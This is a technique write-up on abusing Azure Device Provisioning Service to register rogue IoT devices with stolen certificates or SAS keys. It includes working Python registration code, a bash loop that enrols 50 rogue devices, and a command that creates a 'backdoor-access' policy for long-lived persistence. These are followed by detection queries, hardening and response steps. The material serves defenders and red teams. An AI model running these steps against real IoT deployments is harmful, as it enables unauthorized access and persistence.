| Attribute | Details |
|---|---|
| Technique ID | IOT-EDGE-004 |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation: Device Registration T1098.005 |
| Tactic | Persistence / Lateral Movement |
| Platforms | Azure IoT Hub, Azure Device Provisioning Service, Entra ID |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure DPS (all versions), Azure IoT Hub (all versions), IoT Edge 1.0+ |
| Patched In | N/A (design issue, requires proper attestation and RBAC) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Device Provisioning Service (DPS) is a managed service that provisions IoT devices into Azure IoT Hub using enrollment records. Attackers who obtain stolen device certificates or Shared Access Keys can register rogue devices with DPS, which automatically provisions them into IoT Hub as trusted entities. Once registered, the attacker-controlled device gains full access to IoT Hub, can read/write device twins, receive cloud-to-device commands, and communicate as a legitimate device. DPS enrollments can be individual (per-device) or group-based, and compromised enrollments enable at-scale attacks. Attackers can also manipulate Shared Access Policies to create backdoor credentials that persist even after primary key rotation.
Attack Surface: DPS enrollment records, X.509 certificates, SAS tokens, shared access keys, and enrollment group policies.
Business Impact: Unauthorized Device Registration and IoT Infrastructure Persistence. An attacker who abuses DPS can register hundreds of rogue devices that appear legitimate to monitoring systems. These devices can send false telemetry, trigger automated cloud responses, exfiltrate sensor data, and establish a distributed botnet across the IoT deployment. In enterprise IoT scenarios with thousands of devices, such attacks can scale undetected.
Technical Context: DPS enrollment abuse requires valid certificate or key material; provisioning typically completes within 1-5 minutes. Detection likelihood is Low if device registration logs are not monitored; High if Azure Sentinel DPS enrollment audit rules are active.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS IoT Device Security 3.2 | Device provisioning must be authenticated and audited |
| DISA STIG | SV-251591r889328_rule | Device enrollment must require MFA or certificate validation |
| CISA SCuBA | ID.AM-2 | Asset inventory of provisioned devices must be maintained |
| NIST 800-53 | AC-2 (Account Management), AC-3 (Access Enforcement) | Device provisioning and access control required |
| GDPR | Art. 32 (Security of Processing) | Device enrollment must be audited for unauthorized registrations |
| DORA | Art. 11 (Incident Reporting) | Unauthorized device registration is a reportable incident |
| NIS2 | Art. 21 | Device provisioning must follow secure procedures |
| ISO 27001 | A.5.2.1 (Asset responsibility), A.6.2.1 (Personnel screening) | Device asset management and provisioning controls required |
| ISO 27005 | Risk assessment for unauthorized device registration | Identify and mitigate risks from rogue device provisioning |
global.azure-devices-provisioning.net), MQTT/AMQP/HTTP transportSupported Versions:
Tools:
# List DPS instances accessible to current user
az iot dps list --query "[].{name:name, status:properties.state}"
# Check DPS enrollment groups
az iot dps enrollment-group list --dps-name myDPS
# Check individual enrollments
az iot dps enrollment list --dps-name myDPS
# Verify DPS-to-IoT Hub assignment policies
az iot dps linked-hub list --dps-name myDPS
What to Look For:
# Test DPS connectivity
curl -X GET "https://global.azure-devices-provisioning.net/api/service/providers" \
-H "Authorization: SharedAccessSignature <SAS-token>"
# Attempt to list enrollments (requires valid credentials)
curl -X GET "https://myDPS.azure-devices-provisioning.net/enrollmentGroups" \
-H "api-version=2021-10-01" \
-H "Authorization: <cert-or-token>"
# Check certificate validity
openssl x509 -in device-cert.pem -text -noout | grep -A 2 "Validity"
What to Look For:
Supported Versions: All DPS versions with X.509 attestation
Objective: Acquire legitimate device certificate (via IOT-EDGE-001 or other credential extraction)
Command:
# Example: Certificate already extracted in previous phase
cat device-cert.pem
# Expected: -----BEGIN CERTIFICATE-----
# ... (certificate data) ...
# -----END CERTIFICATE-----
cat device-key.pem
# Expected: -----BEGIN PRIVATE KEY-----
# ... (key data) ...
# -----END PRIVATE KEY-----
What This Means:
OpSec & Evasion:
Objective: Authenticate to DPS and create a new device enrollment
Command (Python SDK):
from azure.iot.device import ProvisioningDeviceClient
from azure.iot.device.provisioning_client import RegistrationResult
from azure.iot.device.provisioning_transport import ProvisioningTransportProvider
from azure.iot.device.provisioning_transport import ProvisioningTransportMTLS
import ssl
# DPS configuration
DPS_GLOBAL_ENDPOINT = "global.azure-devices-provisioning.net"
ID_SCOPE = "<id-scope>" # From stolen device or DPS info
ROGUE_DEVICE_ID = "rogue-device-001"
# Load stolen certificate and key
cert_file = "device-cert.pem"
key_file = "device-key.pem"
# Create provisioning client
provisioning_client = ProvisioningDeviceClient.create_from_x509_certificate(
provisioning_host=DPS_GLOBAL_ENDPOINT,
registration_id=ROGUE_DEVICE_ID,
id_scope=ID_SCOPE,
certificate_file=cert_file,
key_file=key_file
)
# Register device
print("Registering device...")
registration_result = provisioning_client.register()
print(f"Registration Status: {registration_result.registration_state.registration_status}")
print(f"Assigned IoT Hub: {registration_result.registration_state.assigned_hub}")
print(f"Device ID: {registration_result.registration_state.device_id}")
# Example Output:
# Registration Status: assigned
# Assigned IoT Hub: myhub.azure-devices.net
# Device ID: rogue-device-001
Expected Output:
Registering device...
Registration Status: assigned
Assigned IoT Hub: myhub.azure-devices.net
Device ID: rogue-device-001
What This Means:
OpSec & Evasion:
Search-UnifiedAuditLog)Troubleshooting:
Certificate validation failed
Unauthorized: Certificate not valid for this enrollment
References & Proofs:
Objective: Confirm the rogue device can send telemetry and receive cloud-to-device messages
Command:
from azure.iot.device import IoTHubDeviceClient
# Use the assigned IoT Hub from registration result
assigned_hub = "myhub.azure-devices.net"
device_id = "rogue-device-001"
# Create IoT Hub client
client = IoTHubDeviceClient.create_from_x509_certificate(
hostname=assigned_hub,
device_id=device_id,
certificate_file="device-cert.pem",
key_file="device-key.pem"
)
# Connect to IoT Hub
client.connect()
# Send telemetry
message = "Rogue telemetry message"
client.send_message(message)
print(f"Sent message: {message}")
# Receive cloud-to-device messages
while True:
c2d_msg = client.receive_c2d_message()
print(f"Received: {c2d_msg.data.decode()}")
c2d_msg.complete() # Acknowledge receipt
Expected Output:
Sent message: Rogue telemetry message
Received: Command from cloud
What This Means:
Supported Versions: All DPS versions with group enrollment
Objective: Discover group enrollments that allow multiple device registration
Command (PowerShell):
# List enrollment groups
$groups = az iot dps enrollment-group list --dps-name myDPS --query "[].{name:enrollmentGroupId, status:attestation.type}"
foreach ($group in $groups) {
Write-Host "Group: $($group.name), Attestation: $($group.status)"
}
# Expected output:
# Group: prod-devices, Attestation: x509
# Group: test-devices, Attestation: symmetricKey
What This Means:
OpSec & Evasion:
Objective: Provision multiple attacker-controlled devices at scale
Command (Batch registration):
#!/bin/bash
# Script to register 50 rogue devices
DPS_ENDPOINT="global.azure-devices-provisioning.net"
ID_SCOPE="<id-scope>"
GROUP_ENROLLMENT="prod-devices"
for i in {1..50}; do
DEVICE_ID="rogue-device-$(printf "%03d" $i)"
# Register device (using stolen group key)
curl -X PUT \
"https://${DPS_ENDPOINT}/enrollmentGroups/${GROUP_ENROLLMENT}/register?api-version=2021-10-01" \
-H "Authorization: SharedAccessSignature <group-sas-token>" \
-H "Content-Type: application/json" \
-d "{\"registrationId\": \"${DEVICE_ID}\"}"
echo "Registered: $DEVICE_ID"
sleep 1
done
What This Means:
Detection likelihood: High – Bulk device registration generates multiple audit log entries
References & Proofs:
Supported Versions: All DPS versions
Objective: Discover existing shared access policies in DPS
Command:
# List DPS access policies
az iot dps access-policy list --dps-name myDPS --query "[].{name:keyName, permissions:rights}"
# Expected output:
# Name: provisioningserviceowner, Permissions: ['RegistrationRead', 'RegistrationWrite', 'ServiceConfig']
# Name: registrationstatuslookup, Permissions: ['RegistrationStatusRead']
What This Means:
provisioningserviceowner has full accessregistrationstatuslookup has read-only accessObjective: Add attacker-controlled shared access key to DPS
Command (PowerShell - if attacker has Contributor role):
# Create new access policy with backdoor credentials
$policyName = "backdoor-access"
$rights = @("RegistrationRead", "RegistrationWrite", "ServiceConfig")
# This requires Owner/Contributor role on DPS resource
az iot dps access-policy create `
--dps-name myDPS `
--access-policy-name $policyName `
--rights $rights `
--primary-key "$(az keyvault secret show --vault-name myVault --name backdoor-key --query value -o tsv)"
# List new policy and extract SAS token
$newPolicy = az iot dps access-policy show --dps-name myDPS --access-policy-name $policyName
# Generate SAS token valid for 10 years (indefinite persistence)
# Token can be used to provision devices even after original credentials are revoked
What This Means:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Register device" or OperationName == "Create enrollment"
| where Result == "Success"
| summarize DeviceCount = dcount(TargetResources[0].displayName) by InitiatedBy.user.userPrincipalName, bin(TimeGenerated, 1h)
| where DeviceCount > 5 // Alert if > 5 devices registered in 1 hour
| sort by TimeGenerated desc
What This Detects:
Manual Configuration Steps:
30 minutesCount > 5KQL Query:
AuditLogs
| where OperationName contains "Create access policy" or OperationName contains "Update access policy"
| where Result == "Success"
| summarize Count = count() by InitiatedBy.user.userPrincipalName, properties.policyName, TimeGenerated
Event ID: 4720 (Account Created) – IoT Hub/DPS level equivalent
Azure Activity Log Audit Rule:
OperationName = "Microsoft.Devices/provisioningServices/enrollments/write"
AND Result = "Success"
AND Caller != <expected-service-principals>
Alert Name: Suspicious Device Enrollment in DPS
Manual Configuration Steps:
Require Certificate Pinning or TPM Attestation: Only allow devices with verified hardware root of trust.
Manual Steps (PowerShell - Create Enrollment with TPM Attestation):
# Create enrollment group requiring TPM attestation (not just X.509)
$enrollmentGroup = @{
enrollmentGroupId = "tpm-only-group"
attestation = @{
type = "tpm"
tpmAttestation = @{
aik = "<attestation-key>"
}
}
iotHubHostName = "myhub.azure-devices.net"
initialTwinState = $null
}
# Register group (requires DPS owner role)
az iot dps enrollment-group create --dps-name myDPS `
--enrollment-id tpm-only-group `
--attestation-type tpm
Implement Strict RBAC on DPS: Restrict who can create/modify enrollments.
Manual Steps (Azure Portal):
IoT Provisioning Service Contributor (limit to service principals)Enable Azure Policy to Block Weak Attestation:
Manual Steps (Azure Policy):
{
"mode": "All",
"policyRule": {
"if": {
"allOf": [
{
"field": "type",
"equals": "Microsoft.Devices/provisioningServices/enrollments"
},
{
"field": "properties.attestation.type",
"equals": "symmetricKey"
}
]
},
"then": {
"effect": "Deny"
}
}
}
Attach this policy to enforce X.509 or TPM-only attestation.
Rotate DPS Shared Access Keys Regularly:
Manual Steps:
# Regenerate primary key for DPS
az iot dps access-policy key renew --dps-name myDPS --access-policy-name owner
# Verify key rotation
az iot dps access-policy show --dps-name myDPS --access-policy-name owner
Monitor Device Registrations in Real Time:
Manual Steps:
# Create Azure Monitor alert for bulk registrations
az monitor metrics alert create \
--name "DPS-bulk-registration" \
--resource-group myResourceGroup \
--scopes "/subscriptions/<subscription-id>/resourceGroups/myRG/providers/Microsoft.Devices/provisioningServices/myDPS" \
--condition "total RegistrationAttempts > 10" \
--window-size 1h \
--evaluation-frequency 5m
Implement Conditional Access for DPS Administrative Actions:
Manual Steps:
Cloud apps = Azure Resource ManagerRequire multi-factor authenticationSegment IoT Devices into Separate DPS Instances: Limit blast radius if one DPS is compromised.
Manual Steps:
# Create separate DPS for production and development
az iot dps create --name prod-dps --resource-group production-rg
az iot dps create --name dev-dps --resource-group development-rg
# Link each DPS to separate IoT Hub
az iot dps linked-hub create --dps-name prod-dps --connection-string <prod-hub-connection-string>
az iot dps linked-hub create --dps-name dev-dps --connection-string <dev-hub-connection-string>
# Verify TPM attestation is required
az iot dps enrollment-group list --dps-name myDPS --query "[].attestation.type"
# Expected: ["tpm", "tpm", "tpm"] (no "symmetricKey" or "x509")
# Verify no weak access policies exist
az iot dps access-policy list --dps-name myDPS --query "[].keyName" | grep -v "owner\|contributor"
# Expected: (empty or only expected service principals)
# Verify device registration is logged
az monitor activity-log list --resource-group myResourceGroup --max-events 10 | grep -i "device\|provision"
# Expected: Recent device registration entries with audit trail
What to Look For:
az iot dps enrollment list)az iot dps access-policy show)# Immediately revoke rogue device enrollments
az iot dps enrollment delete --dps-name myDPS --enrollment-id "rogue-device-001"
# Revoke device from IoT Hub
az iot hub device-identity delete --hub-name myHub --device-id "rogue-device-001"
# Export enrollment list
az iot dps enrollment list --dps-name myDPS --output json > dps-enrollments.json
# Export Azure Activity Log
az monitor activity-log list --resource-group myResourceGroup --output json > activity-log.json
# Document all DPS access policies
az iot dps access-policy list --dps-name myDPS --output json > access-policies.json
# Rotate all DPS shared access keys
az iot dps access-policy key renew --dps-name myDPS --access-policy-name owner
# Re-evaluate all device enrollments
# (manual review process to ensure all devices are legitimate)
# Revoke any suspicious access policies
az iot dps access-policy delete --dps-name myDPS --access-policy-name "backdoor-access"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IOT-EDGE-002] Connection String Theft | Attacker obtains DPS credentials |
| 2 | Credential Access | [IOT-EDGE-001] Device Credential Extraction | Attacker steals device certificates |
| 3 | Persistence | [IOT-EDGE-004] | Attacker registers rogue devices via DPS abuse |
| 4 | Lateral Movement | Register multiple devices for botnet | Attacker creates distributed attack infrastructure |
| 5 | Impact | Send malicious telemetry or commands | Attacker interferes with IoT operations |
IOT-EDGE-004 represents a sophisticated and scalable attack vector that enables at-scale infrastructure compromise through DPS abuse. Organizations must implement strong attestation requirements (TPM, X.509 with pinning), strict RBAC, continuous monitoring of device registrations, and regular key rotation to defend against unauthorized device provisioning. Defense-in-depth approaches combining multiple controls are essential to prevent determined attackers from establishing persistent backdoors via DPS enrollment manipulation.